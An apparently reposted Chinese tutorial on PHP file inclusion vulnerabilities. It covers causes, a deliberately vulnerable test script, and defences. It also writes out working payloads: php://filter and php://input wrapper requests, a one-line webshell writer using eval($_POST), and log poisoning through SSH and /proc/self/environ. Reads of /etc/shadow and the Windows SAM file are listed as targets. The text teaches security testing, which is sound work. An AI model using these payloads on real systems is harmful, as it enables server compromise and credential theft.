【web安全】文件包含漏洞

这篇具有很好参考价值的文章主要介绍了【web安全】文件包含漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

1.什么是文件包含漏洞

2.产生原因

3.文件包含的类型

3.1本地文件包含

3.2远程文件包含

4.攻击利用手法

4.1 file:协议

4.2 php://协议

​4.3 zip://,bzip2://,zlib://协议 

4.4 data://协议

4.5 PHP伪协议总结 

5.如何防御?

6.常见系统的默认路径

7.文件包含漏洞的奇技淫巧

LFI+日志文件getshell

配合文件上传漏洞

配合路径遍历漏洞

配合session文件

配合SSH日志

配合运行环境


1.什么是文件包含漏洞

想要了解文件包含漏洞,我们首先需要了解一下什么是文件包含

后端编程人员一般会把重复使用的函数写到单个文件中,需要使用时再直接调用此文件即可,该过程就被称为文件包含。

文件包含(File Inclusion)是一些对文件操作的函数未经过有效过滤,运行了恶意传入的非预期的文件路径,导致敏感信息泄露或代码执行。如果文件中存在恶意代码,无论什么样的后缀类型,文件内的恶意代码都会以当前服务器的脚本语言所执行,这就导致了文件包含漏洞的产生。

随着网站的业务的需求,程序开发人员一般希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。

2.产生原因

文件包含的存在使得开发变得更加灵活和方便,但同时也带了安全问题,导致客户端可以远程调用文件,造成文件包含漏洞。

实际上被包含文件可以是任意格式的,可以是图片、文本、源代码等等。只要文件被包含其内容也会被包含,并以当前服务器脚本语言执行。

大多数Web语言都支持文件包含操作,其中PHP语言所提供的文件包含功能太强大、太灵活,也就导致文件包含漏洞经常出现在PHP语言中。这里就以PHP语言为例,需要打开一下配置allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据。allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件。

PHP提供的可以文件包含的四个函数:

include():当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告(E_WARNING),继续向下执行;

include_once()功能与include()相同,区别在于当重复调用同一文件时,程序只调用一次

require()与include()的区别在于require()执行如果发生错误(E_COMPILE_ERROR),函数会输出错误信息,并终止脚本的运行。

require_once()功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

nighcight_file()、show_source()函数对文件进行语法高亮显示,通常能看到源代码。

readfile()、file_get_contents()函数读取一个文件,并写入输出缓冲。

fopen()函数打开一个文件或者url。

3.文件包含的类型

文件包含漏洞分为本地文件包含(Loacl File Inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种。攻击者通过文件包含漏洞可以读取系统中的敏感文件,还有可能导致任意代码执行漏洞。

3.1本地文件包含

本地文件包含漏洞指的是能打开并包含本地文件的漏洞,大部分情况下遇到的文件包含漏洞都是LFI,简单的测试用例如下所示。

<?php
    $filename = $_GET['file'];
    if(isset($file)){
        include("$file");
    }else{
        echo "file not found!";
    }
?>

3.2远程文件包含

远程文件包含漏洞是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

该类型需要当目标服务器开启一定配置时才可以使用,当php.ini中的配置选项allow_url_fopen=on、allow_url_include=on

4.攻击利用手法

4.1 file:协议

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

【web安全】文件包含漏洞

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/software/phpStudy/WWW/phpinfo.txt

phpinfo.txt文件内容:

<?php phpinfo(); ?>

4.2 php://协议

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:PHP: php:// - Manual

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

【web安全】文件包含漏洞

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

【web安全】文件包含漏洞

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

【web安全】文件包含漏洞

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>

4.3 zip://,bzip2://,zlib://协议 

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:PHP: zlib:// - Manual

【web安全】文件包含漏洞

 4.3.1 zip://协议

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

【web安全】文件包含漏洞

 4.3.2 bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

【web安全】文件包含漏洞

4.3.3 zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

【web安全】文件包含漏洞

 4.4 data://协议

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:PHP: data:// - Manual, 官方文档上allow_url_fopen应为yes。

【web安全】文件包含漏洞

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

【web安全】文件包含漏洞

4.5 PHP伪协议总结 

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

【web安全】文件包含漏洞

上述中,php://filter,php://input,zip://这三个用的最多,就像data需要同时为on,条件太苛刻,几乎遇不到 。 

5.如何防御?

1、访问路径限制

PHP中使用open_basedir配置限制访问在指定的区域,限制被包含的文件只能是某一文件夹内。

2、过滤输入

过滤.(点)/(反斜杠)\(反斜杠)等特殊字符,禁止目录跳转字符如../

3、关闭高危配置

PHP文件配置allow_url_includeallow_url_fopen最小权限化。

4、白名单 对需要包含的文件设置文件白名单,包含文件的验证。

5、避免参数

尽量不要使用动态包含,可以在需要包含的页面固定写好。

6.常见系统的默认路径

c:\boot.ini //查看系统版本

c:\windows\repair\sam //存储Windows系统初次安装的密码

c:\windows\win.ini

/etc/passwd //账户信息

/etc/shadow //账户密码文件

/var/lib/php/sess_PHPSESSID  //存储session文件

7.文件包含漏洞的奇技淫巧

LFI+日志文件getshell

日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的php代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。

很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在 /var/log/apache2/。

配合文件上传漏洞

一般情况下,文件包含漏洞配合文件上传漏洞使用更佳。利用文件上传漏洞,将木马文件上传到相关目录下,再通过文件包含漏洞执行该木马。

配合路径遍历漏洞

一般情况下,通过路径遍历直接包含所要查看的文件。

配合session文件

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见存放位置:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

配合SSH日志

使用ssh -pssh端口 '<?php phpinfo(); ?>'@ip地址将恶意代码注入日志中,然后可包含该日志文件。

【web安全】文件包含漏洞

默认情况下为/var/log/auth.log

配合运行环境

php以cgi方式运行,这样environ才会保持UA头。environ文件存储位置已知且environ文件可读,/proc/self/environ文章来源地址https://www.toymoban.com/news/detail-465792.html

GET /index.php?file=../../../../proc/self/environ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 <?phpinfo();?> 
Connection: close

到了这里,关于【web安全】文件包含漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Web安全】文件上传漏洞

    目录 1. 文件上传漏洞概述 1.1 FCKEditor文件上传漏洞 1.2 绕过文件上传检查功能 2. 功能还是漏洞 2.1 Apache文件解析 2.2 IIS文件解析 2.3 PHP CGI路径解析 2.4 利用上传文件钓鱼  3. 设计安全的文件上传功能 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了

    2024年02月08日
    浏览(30)
  • Web安全漏洞介绍及防御-文件上传漏洞

    🐳博客主页:举杯同庆 – 生命不息,折腾不止 🌐订阅专栏:『Web安全』 📰如觉得博主文章写的不错,或对你有所帮助的话,请多多支持呀! 👉关注✨、点赞👍、收藏📂、评论。 话题讨论 中国经济周刊-2022-07-08 新闻 万豪国际集团证实了近期一起数据泄露事件,一个月

    2024年02月02日
    浏览(13)
  • Web安全:文件上传漏洞测试(防止 黑客利用此漏洞.)

    现在大多的网站和Web应用系统都会有上传功能(比如:文档,图片,头像,视频上传等.),而程序员在开发文件上传功能时,没有对代码做严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(php,jsp、aspx,asp文

    2024年02月11日
    浏览(12)
  • Web 安全之文件上传漏洞详解

    目录 文件上传漏洞的类型 文件上传的攻击方式 文件上传漏洞影响 防护措施 小结 文件上传漏洞是网络安全中的常见问题,通常发生在网站或应用程序允许用户上传文件到服务器的场景。这类漏洞如果被攻击者利用,可能导致数据泄露、非法文件分发、服务器入侵甚至整个系

    2024年02月04日
    浏览(13)
  • Web安全之文件上传漏洞详解

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致

    2024年02月13日
    浏览(18)
  • 23 WEB漏洞-文件上传之解析漏洞编辑器安全

    各个WEB编辑器安全讲解 https://navisec.it/编辑器漏洞手册/ 各个CMS文件上传简要讲解 wordpress,phpcms, 参考共享的中间件漏洞PDF IIS6/7简要说明-本地搭建 Apache配置安全–vulhub Apache解析漏洞-低版本 利用场景: 如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识

    2024年02月11日
    浏览(12)
  • 《WEB安全漏洞30讲》(第5讲)任意文件上传漏洞

    文件上传漏洞,指攻击者利用程序缺陷绕过系统对文件的验证与处理策略将恶意程序上传到服务器并获得执行服务器端命令的能力。 这个漏洞其实非常简单,就是攻击者给服务器上传了恶意的木马程序,然后利用此木马程序执行操作系统命令,从而获得服务器权限,造成严重

    2024年02月12日
    浏览(12)
  • 049-WEB攻防-文件上传&存储安全&OSS对象&分站&解析安全&解码还原&目录执行

    1、文件上传-安全解析方案-目录权限解码还原 2、文件上传-安全存储方案-分站存储OSS对象 演示案例: ➢文件-解析方案-执行权限解码还原 ➢文件-存储方案-分站存储OSS对象 ➢实例-解析存储-传输分站OSS存储 将源码复制到对应目录下,并创建image.wusuowei.com文件夹,存储源码

    2024年04月12日
    浏览(10)
  • 小迪安全33WEB 攻防-通用漏洞&文件上传&中间件解析漏洞&编辑器安全

    # 知识点: 1 、中间件安全问题 2 、中间件文件上传解析 3 、 Web 应用编辑器上传 编辑器也就是第三方插件,一般都是文件上传漏洞 # 详细点: 1 、检测层面:前端,后端等 2 、检测内容:文件头,完整性,二次渲染等 3 、检测后缀:黑名单,白名单, MIME 检测等 4 、绕过技

    2024年03月16日
    浏览(20)
  • 33、WEB攻防——通用漏洞&文件上传&中间件解析漏洞&编辑器安全

    IIS爆过漏洞的版本:IIS6.0(windows server 2003)、IIS7.0和IIS7.5(windows server 2008) IIS6.0解析漏洞: 文件名:x.asp;x.jpg,jpg的文件后缀名,但是会被解析为asp文件; 目录名:x.asp/x.jpg, 文件目录名含有.asp后缀,x.jpg也会被解析为asp文件。 触发条件: IIS6.0这个中间件; 上传文件能不

    2024年01月24日
    浏览(21)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包